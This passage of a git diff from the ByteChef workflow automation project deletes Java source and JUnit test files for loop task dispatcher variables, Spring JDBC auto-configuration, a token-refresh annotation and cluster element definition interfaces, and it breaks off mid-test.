- * Tests for {@link LoopTaskDispatcherDefinitionFactory#variableProperties(Map)}.
- *
- * <p>
- * These tests verify that the loop task dispatcher always returns item and index variable properties, even when the
- * items list is empty or not present. This is important for the Data Pill popup to show loop variables when editing
- * nested tasks.
- *
- * @author Ivica Cardic
- */
-class LoopTaskDispatcherDefinitionFactoryVariablePropertiesTest {
-
-    @Test
-    void testVariablePropertiesReturnsItemAndIndexWhenItemsNotPresent() {
-        OutputResponse outputResponse = LoopTaskDispatcherDefinitionFactory.variableProperties(Map.of());
-
-        assertNotNull(outputResponse, "OutputResponse should not be null when items is not present");
-        assertOutputSchemaHasItemAndIndex(outputResponse);
-    }
-
-    @Test
-    void testVariablePropertiesReturnsItemAndIndexWhenItemsIsEmpty() {
-        OutputResponse outputResponse = LoopTaskDispatcherDefinitionFactory.variableProperties(
-            Map.of(ITEMS, List.of()));
-
-        assertNotNull(outputResponse, "OutputResponse should not be null when items list is empty");
-        assertOutputSchemaHasItemAndIndex(outputResponse);
-    }
-
-    @Test
-    void testVariablePropertiesReturnsItemAndIndexWhenItemsHasValues() {
-        Map<String, Object> sampleItem = Map.of("name", "test", "value", 123);
-
-        OutputResponse outputResponse = LoopTaskDispatcherDefinitionFactory.variableProperties(
-            Map.of(ITEMS, List.of(sampleItem)));
-
-        assertNotNull(outputResponse, "OutputResponse should not be null when items has values");
-        assertOutputSchemaHasItemAndIndex(outputResponse);
-        assertNotNull(outputResponse.getSampleOutput(), "Sample output should not be null");
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> sampleOutput = (Map<String, Object>) outputResponse.getSampleOutput();
-
-        assertTrue(sampleOutput.containsKey(ITEM), "Sample output should contain item key");
-        assertTrue(sampleOutput.containsKey(INDEX), "Sample output should contain index key");
-        assertEquals(0, sampleOutput.get(INDEX), "Index should be 0");
-    }
-
-    @Test
-    void testVariablePropertiesSampleOutputHasDefaultValuesWhenItemsNotPresent() {
-        OutputResponse outputResponse = LoopTaskDispatcherDefinitionFactory.variableProperties(Map.of());
-
-        assertNotNull(outputResponse.getSampleOutput(), "Sample output should not be null");
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> sampleOutput = (Map<String, Object>) outputResponse.getSampleOutput();
-
-        assertTrue(sampleOutput.containsKey(ITEM), "Sample output should contain item key");
-        assertTrue(sampleOutput.containsKey(INDEX), "Sample output should contain index key");
-        assertEquals(Map.of(), sampleOutput.get(ITEM), "Default item should be empty map");
-        assertEquals(0, sampleOutput.get(INDEX), "Default index should be 0");
-    }
-
-    private void assertOutputSchemaHasItemAndIndex(OutputResponse outputResponse) {
-        BaseValueProperty<?> outputSchema = outputResponse.getOutputSchema();
-
-        assertNotNull(outputSchema, "Output schema should not be null");
-        assertTrue(outputSchema instanceof ModifiableObjectProperty, "Output schema should be an ObjectProperty");
-
-        ModifiableObjectProperty objectProperty = (ModifiableObjectProperty) outputSchema;
-        List<? extends BaseProperty> properties = objectProperty.getProperties()
-            .orElse(List.of());
-
-        assertEquals(2, properties.size(), "Should have 2 properties (item and index)");
-        assertEquals(ITEM, properties.get(0)
-            .getName());
-        assertEquals(INDEX, properties.get(1)
-            .getName());
-    }
-}
diff --git a/server/libs/platform/platform-category/platform-category-service/src/main/java/com/bytechef/platform/category/config/PlatformCategoryJdbcRepositoryConfiguration.java b/server/libs/platform/platform-category/platform-category-service/src/main/java/com/bytechef/platform/category/config/PlatformCategoryJdbcRepositoryConfiguration.java
deleted file mode 100644
index 6db1aee2ea2..00000000000
--- a/server/libs/platform/platform-category/platform-category-service/src/main/java/com/bytechef/platform/category/config/PlatformCategoryJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.category.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.category.repository")
-class PlatformCategoryJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-category/platform-category-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-category/platform-category-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 68b86738fad..00000000000
--- a/server/libs/platform/platform-category/platform-category-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.category.config.PlatformCategoryJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/annotation/WithTokenRefresh.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/annotation/WithTokenRefresh.java
deleted file mode 100644
index b70789d9a33..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/annotation/WithTokenRefresh.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.annotation;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-
-/**
- * Annotation to mark methods that should automatically handle token refresh on credential errors. The aspect will
- * intercept these methods and on specific exceptions (matching refreshOn patterns), will refresh the OAuth2 credentials
- * and retry the method.
- *
- * <p>
- * Use {@link ComponentNameParam} and {@link ConnectionParam} annotations on method parameters to identify the component
- * name and connection parameters for the token refresh operation.
- * </p>
- *
- * @author Ivica Cardic
- */
-@Retention(RetentionPolicy.RUNTIME)
-@Target(ElementType.METHOD)
-public @interface WithTokenRefresh {
-
-    /**
-     * The error type class to use when wrapping exceptions (e.g., ActionDefinitionErrorType.class). Use Void.class to
-     * indicate no error type wrapping should be performed.
-     *
-     * @return the class containing the error type constants, or Void.class for no wrapping
-     */
-    Class<?> errorTypeClass() default Void.class;
-
-    /**
-     * The name of the static field in errorTypeClass to use for the error type. Leave empty to indicate no error type
-     * wrapping should be performed.
-     *
-     * @return the name of the static field containing the error type, or empty string for no wrapping
-     */
-    String errorTypeField() default "";
-
-    /**
-     * Marks a method parameter as the component name for token refresh operations. Used in conjunction with
-     * {@link WithTokenRefresh} to identify which parameter contains the component name without relying on parameter
-     * name reflection.
-     *
-     * @author Ivica Cardic
-     */
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target(ElementType.PARAMETER)
-    @interface ComponentNameParam {
-    }
-
-    /**
-     * Marks a method parameter as the connection for token refresh operations. Used in conjunction with
-     * {@link WithTokenRefresh} to identify which parameter contains the ComponentConnection (or Map of
-     * ComponentConnections) without relying on parameter name reflection.
-     *
-     * @author Ivica Cardic
-     */
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target(ElementType.PARAMETER)
-    @interface ConnectionParam {
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapper.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapper.java
deleted file mode 100644
index faec2adaee4..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapper.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition;
-
-import com.bytechef.component.definition.ClusterElementDefinition;
-import com.bytechef.component.definition.Help;
-import com.bytechef.component.definition.OutputDefinition;
-import com.bytechef.component.definition.Property;
-import com.fasterxml.jackson.annotation.JsonIgnore;
-import java.util.List;
-import java.util.Optional;
-
-/**
- * @author Ivica Cardic
- */
-public abstract class AbstractClusterElementDefinitionWrapper<T> implements ClusterElementDefinition<T> {
-
-    protected final String description;
-    protected final T element;
-    protected final Help help;
-    protected final String name;
-    protected final OutputDefinition outputDefinition;
-    protected final ProcessErrorResponseFunction processErrorResponseFunction;
-    protected final List<? extends Property> properties;
-    protected final String title;
-    protected final ClusterElementType type;
-    protected final WorkflowNodeDescriptionFunction workflowNodeDescriptionFunction;
-
-    @SuppressWarnings("unchecked")
-    public AbstractClusterElementDefinitionWrapper(ClusterElementDefinition<?> clusterElementDefinition) {
-        this.description = clusterElementDefinition.getDescription()
-            .orElse(null);
-        this.element = (T) clusterElementDefinition.getElement();
-        this.help = clusterElementDefinition.getHelp()
-            .orElse(null);
-        this.name = clusterElementDefinition.getName();
-        this.outputDefinition = clusterElementDefinition.getOutputDefinition()
-            .orElse(null);
-        this.processErrorResponseFunction = clusterElementDefinition.getProcessErrorResponse()
-            .orElse(null);
-        this.properties = clusterElementDefinition.getProperties()
-            .orElse(null);
-        this.title = clusterElementDefinition.getTitle()
-            .orElse(null);
-        this.type = clusterElementDefinition.getType();
-        this.workflowNodeDescriptionFunction = clusterElementDefinition.getWorkflowNodeDescription()
-            .orElse(null);
-    }
-
-    @Override
-    public Optional<String> getDescription() {
-        return Optional.ofNullable(description);
-    }
-
-    @JsonIgnore
-    @Override
-    public T getElement() {
-        return element;
-    }
-
-    @Override
-    public Optional<Help> getHelp() {
-        return Optional.ofNullable(help);
-    }
-
-    @Override
-    public String getName() {
-        return name;
-    }
-
-    @Override
-    public Optional<OutputDefinition> getOutputDefinition() {
-        return Optional.ofNullable(outputDefinition);
-    }
-
-    @Override
-    public Optional<ProcessErrorResponseFunction> getProcessErrorResponse() {
-        return Optional.ofNullable(processErrorResponseFunction);
-    }
-
-    @Override
-    public Optional<List<? extends Property>> getProperties() {
-        return Optional.ofNullable(properties);
-    }
-
-    @Override
-    public Optional<String> getTitle() {
-        return Optional.ofNullable(title);
-    }
-
-    @Override
-    public ClusterElementType getType() {
-        return type;
-    }
-
-    @Override
-    public Optional<WorkflowNodeDescriptionFunction> getWorkflowNodeDescription() {
-        return Optional.ofNullable(workflowNodeDescriptionFunction);
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/ClusterElementContextAware.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/ClusterElementContextAware.java
deleted file mode 100644
index 85e22a5d308..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/ClusterElementContextAware.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * Extends the functionality of the {@link ClusterElementContext} and {@link JobContextAware} interfaces to provide
- * additional context-aware operations and functionality for working with cluster elements. <br>
- * This interface enables interaction with cluster elements in a processing context by allowing the resolution of
- * specific cluster elements and applying operations to them using defined functions.
- *
- * @author Ivica Cardic
- */
-public interface ClusterElementContextAware extends ClusterElementContext, JobContextAware {
-
-    /**
-     * Resolves a specific cluster element by applying the provided function to it. The cluster element is identified
-     * using the specified {@code clusterElementType}.
-     *
-     * @param <T>                    the type of the result produced by the resolution process
-     * @param clusterElementType     the type of the cluster element to resolve
-     * @param clusterElementFunction the function to apply to the resolved cluster element for processing
-     * @return the result of applying the function to the resolved cluster element
-     */
-    <T> T resolveClusterElement(
-        ClusterElementType clusterElementType, ClusterElementFunction<T> clusterElementFunction);
-
-    /**
-     * Represents a functional interface for applying operations to a specific cluster element in a cluster processing
-     * context. The function is used to process or transform a provided cluster element using associated parameters and
-     * the cluster context.
-     *
-     * @param <T> the type of the result produced by the application of this function
-     */
-    interface ClusterElementFunction<T> {
-
-        /**
-         * Applies the provided function to a specific cluster element for the purpose of processing or transforming it.
-         * The function uses the provided input parameters, connection parameters, and the cluster element context for
-         * execution.
-         *
-         * @param clusterElement       the cluster element to be processed or transformed
-         * @param inputParameters      the parameters used to configure the operation for processing the cluster element
-         * @param connectionParameters the parameters used to manage connections or interactions during processing
-         * @param context              the context in which the cluster element is being processed
-         * @return the result of applying the function to the provided cluster element
-         */
-        T apply(
-            Object clusterElement, Parameters inputParameters, Parameters connectionParameters,
-            ClusterElementContext context);
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/JobContextAware.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/JobContextAware.java
deleted file mode 100644
index 1654510b419..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/JobContextAware.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.platform.component.ComponentConnection;
-import org.jspecify.annotations.Nullable;
-
-/**
- * @author Ivica Cardic
- */
-public interface JobContextAware {
-
-    /**
-     * Converts the provided component information and connection details into an {@link ActionContext} instance.
-     *
-     * @param componentName       the name of the component associated with the action context.
-     * @param componentVersion    the version of the component.
-     * @param actionName          the name of the action being executed.
-     * @param componentConnection an optional {@link ComponentConnection} containing connection details for the
-     *                            component; can be null.
-     * @return an instance of {@link ActionContext} representing the provided information and connection details.
-     */
-    ActionContext toActionContext(
-        String componentName, int componentVersion, String actionName,
-        @Nullable ComponentConnection componentConnection);
-
-    /**
-     * Retrieves the unique identifier for the environment.
-     *
-     * @return the environment ID as a {@link Long}, or {@code null} if the ID is not available.
-     */
-    @Nullable
-    Long getEnvironmentId();
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunction.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunction.java
deleted file mode 100644
index 42c7cc21ce9..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunction.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition.datastream;
-
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.platform.component.definition.ClusterElementContextAware.ClusterElementFunction;
-
-/**
- * A functional interface designed to resolve cluster elements based on their type and a specified function. This
- * interface is part of the component system and provides an abstraction for processing and obtaining a specific cluster
- * element using custom logic defined via the provided function.
- *
- * @author Ivica Cardic
- */
-@FunctionalInterface
-public interface ClusterElementResolverFunction {
-
-    /**
-     * Resolves a cluster element based on its type and a provided processing function. The resolution logic is defined
-     * by the supplied function, which applies custom operations on the cluster element.
-     *
-     * @param <T>                    the type of the result produced by the resolution process
-     * @param clusterElementType     the type of cluster element to resolve
-     * @param clusterElementFunction a function defining the logic to process and transform the resolved cluster element
-     * @return the result obtained by applying the provided function to the resolved cluster element
-     */
-    <T> T resolve(ClusterElementType clusterElementType, ClusterElementFunction<T> clusterElementFunction);
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/script/CodeEditorScriptInputProvider.java b/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/script/CodeEditorScriptInputProvider.java
deleted file mode 100644
index 7cc48701bb3..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/script/CodeEditorScriptInputProvider.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.script;
-
-import com.bytechef.platform.component.ComponentConnection;
-import java.util.Map;
-import org.jspecify.annotations.Nullable;
-
-/**
- * Interface for components to provide script input values for the code editor dialog. Implementations can generate
- * sample input data based on cluster element configuration.
- *
- * @author Ivica Cardic
- */
-public interface CodeEditorScriptInputProvider {
-
-    /**
-     * Returns the root component name this provider handles.
-     *
-     * @return the root component name (e.g., "dataStream")
-     */
-    String getRootComponentName();
-
-    /**
-     * Returns sample script input values for a cluster element script editor. The provider should generate sample
-     * values based on the data that would be available to the script at runtime.
-     *
-     * @param rootComponentVersion      the root component version
-     * @param sourceComponentName       the component name of the SOURCE cluster element
-     * @param sourceComponentVersion    the component version of the SOURCE cluster element
-     * @param sourceClusterElementName  the cluster element name of the SOURCE
-     * @param sourceInputParameters     the input parameters configured for the SOURCE cluster element
-     * @param sourceComponentConnection the connection for the SOURCE component, if available
-     * @return a map of input field names to sample values
-     */
-    Map<String, Object> getScriptInputParameters(
-        int rootComponentVersion, String sourceComponentName, int sourceComponentVersion,
-        String sourceClusterElementName, Map<String, ?> sourceInputParameters,
-        @Nullable ComponentConnection sourceComponentConnection);
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapperTest.java b/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapperTest.java
deleted file mode 100644
index 73fef51b89a..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/AbstractClusterElementDefinitionWrapperTest.java
+++ /dev/null
@@ -1,180 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementDefinition;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.component.definition.ClusterElementDefinition.ProcessErrorResponseFunction;
-import com.bytechef.component.definition.ClusterElementDefinition.WorkflowNodeDescriptionFunction;
-import com.bytechef.component.definition.Help;
-import com.bytechef.component.definition.OutputDefinition;
-import com.bytechef.component.definition.Property;
-import java.util.List;
-import java.util.Optional;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class AbstractClusterElementDefinitionWrapperTest {
-
-    @Test
-    void testWrapperDelegatesAllGetters() {
-        ClusterElementDefinition<?> mockDefinition = createMockDefinition();
-
-        TestWrapper wrapper = new TestWrapper(mockDefinition);
-
-        assertEquals("Test Element", wrapper.getName());
-        assertEquals("test", wrapper.getType()
-            .key());
-        assertEquals("Test Description", wrapper.getDescription()
-            .orElse(null));
-        assertEquals("Test Title", wrapper.getTitle()
-            .orElse(null));
-        assertNotNull(wrapper.getHelp()
-            .orElse(null));
-        assertNotNull(wrapper.getOutputDefinition()
-            .orElse(null));
-        assertNotNull(wrapper.getProcessErrorResponse()
-            .orElse(null));
-        assertNotNull(wrapper.getWorkflowNodeDescription()
-            .orElse(null));
-        assertNotNull(wrapper.getElement());
-        assertEquals(2, wrapper.getProperties()
-            .orElse(List.of())
-            .size());
-    }
-
-    @Test
-    void testWrapperWithNullOptionalFields() {
-        ClusterElementDefinition<?> mockDefinition = mock(ClusterElementDefinition.class);
-        ClusterElementType clusterElementType = new ClusterElementType("TEST", "test", "Test");
-
-        when(mockDefinition.getName()).thenReturn("Minimal Element");
-        when(mockDefinition.getType()).thenReturn(clusterElementType);
-        when(mockDefinition.getElement()).thenReturn("element");
-        when(mockDefinition.getDescription()).thenReturn(Optional.empty());
-        when(mockDefinition.getTitle()).thenReturn(Optional.empty());
-        when(mockDefinition.getHelp()).thenReturn(Optional.empty());
-        when(mockDefinition.getOutputDefinition()).thenReturn(Optional.empty());
-        when(mockDefinition.getProcessErrorResponse()).thenReturn(Optional.empty());
-        when(mockDefinition.getWorkflowNodeDescription()).thenReturn(Optional.empty());
-        when(mockDefinition.getProperties()).thenReturn(Optional.empty());
-
-        TestWrapper wrapper = new TestWrapper(mockDefinition);
-
-        assertEquals("Minimal Element", wrapper.getName());
-        assertFalse(wrapper.getDescription()
-            .isPresent());
-        assertFalse(wrapper.getTitle()
-            .isPresent());
-        assertFalse(wrapper.getHelp()
-            .isPresent());
-        assertFalse(wrapper.getOutputDefinition()
-            .isPresent());
-        assertFalse(wrapper.getProcessErrorResponse()
-            .isPresent());
-        assertFalse(wrapper.getWorkflowNodeDescription()
-            .isPresent());
-        assertFalse(wrapper.getProperties()
-            .isPresent());
-    }
-
-    @Test
-    void testGetElementReturnsCorrectType() {
-        ClusterElementDefinition<?> mockDefinition = mock(ClusterElementDefinition.class);
-        ClusterElementType clusterElementType = new ClusterElementType("TEST", "test", "Test");
-        String expectedElement = "testElement";
-
-        when(mockDefinition.getName()).thenReturn("Element");
-        when(mockDefinition.getType()).thenReturn(clusterElementType);
-        when(mockDefinition.getElement()).thenReturn(expectedElement);
-        when(mockDefinition.getDescription()).thenReturn(Optional.empty());
-        when(mockDefinition.getTitle()).thenReturn(Optional.empty());
-        when(mockDefinition.getHelp()).thenReturn(Optional.empty());
-        when(mockDefinition.getOutputDefinition()).thenReturn(Optional.empty());
-        when(mockDefinition.getProcessErrorResponse()).thenReturn(Optional.empty());
-        when(mockDefinition.getWorkflowNodeDescription()).thenReturn(Optional.empty());
-        when(mockDefinition.getProperties()).thenReturn(Optional.empty());
-
-        TestWrapper wrapper = new TestWrapper(mockDefinition);
-
-        assertEquals(expectedElement, wrapper.getElement());
-    }
-
-    @Test
-    void testClusterElementType() {
-        ClusterElementType typeWithAllFields = new ClusterElementType("NAME", "key", "Label", true, true);
-
-        assertEquals("NAME", typeWithAllFields.name());
-        assertEquals("key", typeWithAllFields.key());
-        assertEquals("Label", typeWithAllFields.label());
-        assertTrue(typeWithAllFields.multipleElements());
-        assertTrue(typeWithAllFields.required());
-
-        ClusterElementType typeWithRequired = new ClusterElementType("NAME", "key", "Label", true);
-
-        assertEquals("NAME", typeWithRequired.name());
-        assertFalse(typeWithRequired.multipleElements());
-        assertTrue(typeWithRequired.required());
-
-        ClusterElementType typeMinimal = new ClusterElementType("NAME", "key", "Label");
-
-        assertEquals("NAME", typeMinimal.name());
-        assertFalse(typeMinimal.multipleElements());
-        assertFalse(typeMinimal.required());
-    }
-
-    @SuppressWarnings("unchecked")
-    private ClusterElementDefinition<?> createMockDefinition() {
-        ClusterElementDefinition<String> mockDefinition = mock(ClusterElementDefinition.class);
-        ClusterElementType clusterElementType = new ClusterElementType("TEST", "test", "Test");
-        Help mockHelp = mock(Help.class);
-        OutputDefinition mockOutputDefinition = mock(OutputDefinition.class);
-        ProcessErrorResponseFunction mockProcessErrorResponse = mock(ProcessErrorResponseFunction.class);
-        WorkflowNodeDescriptionFunction mockWorkflowNodeDescription = mock(WorkflowNodeDescriptionFunction.class);
-        Property mockProperty1 = mock(Property.class);
-        Property mockProperty2 = mock(Property.class);
-
-        when(mockDefinition.getName()).thenReturn("Test Element");
-        when(mockDefinition.getType()).thenReturn(clusterElementType);
-        when(mockDefinition.getDescription()).thenReturn(Optional.of("Test Description"));
-        when(mockDefinition.getTitle()).thenReturn(Optional.of("Test Title"));
-        when(mockDefinition.getElement()).thenReturn("element");
-        when(mockDefinition.getHelp()).thenReturn(Optional.of(mockHelp));
-        when(mockDefinition.getOutputDefinition()).thenReturn(Optional.of(mockOutputDefinition));
-        when(mockDefinition.getProcessErrorResponse()).thenReturn(Optional.of(mockProcessErrorResponse));
-        when(mockDefinition.getWorkflowNodeDescription()).thenReturn(Optional.of(mockWorkflowNodeDescription));
-        when(mockDefinition.getProperties()).thenReturn(Optional.of(List.of(mockProperty1, mockProperty2)));
-
-        return mockDefinition;
-    }
-
-    private static class TestWrapper extends AbstractClusterElementDefinitionWrapper<String> {
-
-        TestWrapper(ClusterElementDefinition<?> clusterElementDefinition) {
-            super(clusterElementDefinition);
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunctionTest.java b/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunctionTest.java
deleted file mode 100644
index dfab3208a71..00000000000
--- a/server/libs/platform/platform-component/platform-component-api/src/test/java/com/bytechef/platform/component/definition/datastream/ClusterElementResolverFunctionTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.definition.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ClusterElementContextAware.ClusterElementFunction;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ClusterElementResolverFunctionTest {
-
-    @Test
-    void testResolveReturnsExpectedResult() {
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        ClusterElementResolverFunction resolver = new ClusterElementResolverFunction() {
-
-            @Override
-            public <T> T resolve(
-                ClusterElementType clusterElementType, ClusterElementFunction<T> clusterElementFunction) {
-
-                if ("SOURCE".equals(clusterElementType.name())) {
-                    return clusterElementFunction.apply("element", inputParameters, connectionParameters, context);
-                }
-
-                return null;
-            }
-        };
-
-        ClusterElementType sourceType = new ClusterElementType("SOURCE", "source", "Source");
-        ClusterElementType otherType = new ClusterElementType("OTHER", "other", "Other");
-
-        String result = resolver.resolve(
-            sourceType,
